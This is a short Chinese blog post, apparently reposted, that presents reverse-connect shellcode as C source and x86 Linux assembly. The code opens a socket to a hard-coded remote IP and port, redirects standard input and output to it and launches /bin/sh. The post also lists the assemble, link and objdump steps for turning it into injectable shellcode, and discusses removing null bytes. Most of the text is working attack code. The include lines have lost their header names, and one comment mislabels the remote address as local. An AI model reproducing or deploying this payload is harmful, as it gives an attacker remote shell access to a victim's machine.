反弹连接的shellcode

C代码

#include   //构造socket所需的库
#include  //定义sockaddr结构
int main()
{
  char *shell[2];       //用于execv调用
  int soc,remote;    //文件描述符句柄
  struct sockaddr_in serv_addr; //保存IP/端口值的结构

  serv_addr.sin_addr.s_addr=0x6400A8C0;  //将socket的地址设置为所有本地地址
  serv_addr.sin_port=0xBBBB;  //设置socket的端口48059
  serv_addr.sin_family=2;   //设置协议族:IP
  soc=socket(2,1,0);
  remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);

  dup2(soc,0);   //将stdin连接client
  dup2(soc,1);   //将stdout连接client
  dup2(soc,2);   //将strderr连接到client
  shell[0]="/bin/sh";   //execve的第一个参数
  shell[1]=0;           //数组的第二个元素为NULL,表示数组结束
  execv(shell[0],shell,NULL);   //建立一个shell
}

serv_addr.sin_addr.s_addr=0x6400A8C0  这是设置远程反向连接的IP地址呢,这里面有00,所以shellcode中会出现00,就会导致shellcode中断,无法完成攻击,有没有好的办法呢?

汇编语言代码:

section .text
global _start
_start:
xor eax,eax ;清空eax
xor ebx,ebx ;清空ebx
xor edx,edx  ;清空edx

;soc=socket(2,1,0)
push eax  ;socket的第三个参数:0
push byte 0x1 ;socket的第二个参数:1
push byte 0x2 ;socket的第一个参数:2
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl  ;将socketcall的第一个参数设置为1
mov al,102  ;调用socketcall,分支调用号为1:SYS_SOCKET
int 0x80  ;进入核心态,执行系统调用
mov esi,eax ;将返回值(eax)存储到esi中(即soc句柄)

;remote=connect(soc,(struct sockaddr *)&serv_addr,0x10)
push edx; ;仍然为0,用来作为接下来压栈的数据的结束符
push long 0x6400A8C0  ;本节代码中新增,将地址反序得到的十六进制压栈
push word 0xBBBB  ;将端口压栈,十进制为48059
xor ecx,ecx ;清空ecx,以便保存结构的sa_family字段
mov cl,2  ;将ecx的地位字节,设置为2
push word cx  ;建立结构,包括端口和sin.family,共四个字节
mov ecx,esp ;将结构的地址(在栈上)复制到ecx
push byte 0x10  ;connect参数的开始,将16压栈
push ecx  ;在栈上保存结构的地址
push esi  ;将服务器文件描述符esi保存到栈
mov ecx,esp ;将参数数组的地址保存到ecx(socketcall的第二个参数)
mov bl,3  ;将bl设置为3,socketcall的第一个参数
mov al,102  ;调用socketcall,分支调用号为3:SYS_CONNECT
int 0x80  ;进入核心态,执行系统调用

mov ebx,esi ;将客户端的soc文件描述符复制到ebx
;dup2(soc,0)
xor ecx,ecx ;清空ecx
mov al,63 ;将系统调用的第一个参数设置为63:dup
int 0x80  ;进行系统调用

;dup2(client,1)
inc ecx ;ecx设置为1
mov al,63 ;准备进行系统调用:dup2:63
int 0x80  ;进行系统调用

;dup2(client,2)
inc ecx ;ecx设置为2
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用

;标准的execv("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

 push long 0x6400A8C0 这里就是IP地址,出现了00,怎么办好呢?

如果能解决这个问题,那么下边就可以

nasm -f elf reverse_port_asm.asm

ld -o reverse_port_asm reverse_port_asm.o

然后抽取十六进制代码

objdump -d ./reverse_port_asm

得到shellcode了。

转载于:https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html

你可能感兴趣的:(shell,c/c++)